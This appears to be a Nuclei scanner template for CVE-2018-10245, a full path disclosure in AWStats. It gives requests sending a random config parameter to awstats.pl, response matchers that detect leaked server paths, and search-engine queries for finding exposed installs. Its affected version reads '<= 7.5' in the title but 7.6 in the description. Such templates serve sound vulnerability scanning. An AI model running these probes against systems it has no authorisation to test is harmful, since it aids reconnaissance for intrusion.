AWStats <= 7.5 - Full Path Disclosure

id: CVE-2018-10245

info:
  name: AWStats <= 7.5 - Full Path Disclosure
  author: 0x_Akoko
  severity: medium
  description: |
    AWStats 7.6 contains a full path disclosure caused by improper handling of framename and update parameters in awstats.pl, letting remote attackers determine server file paths, exploit requires sending crafted parameters.
  impact: |
    Attackers can discover server file paths, aiding further exploitation or reconnaissance.
  remediation: |
    Update to the latest version of AWStats or apply security patches addressing this issue.
  reference:
    - https://github.com/eldy/awstats
    - https://awstats.sourceforge.io/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-200
    cpe: cpe:2.3:a:laurent_destailleur:awstats:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    shodan-query: 'http.html:"AWStats"'
    fofa-query: 'app="AWStats"'
    google-query: inurl:"awstats.pl"
  tags: cve,cve2018,awstats,fpd,disclosure,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/awstats.pl?config={{randstr}}"
      - "{{BaseURL}}/awstats/awstats.pl?config={{randstr}}"
      - "{{BaseURL}}/awstats.pl?config={{randstr}}"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "open config file", "after searching in path")
          - contains_any(body, "/etc/awstats", "/usr/", "/var/", "/opt/")
        condition: and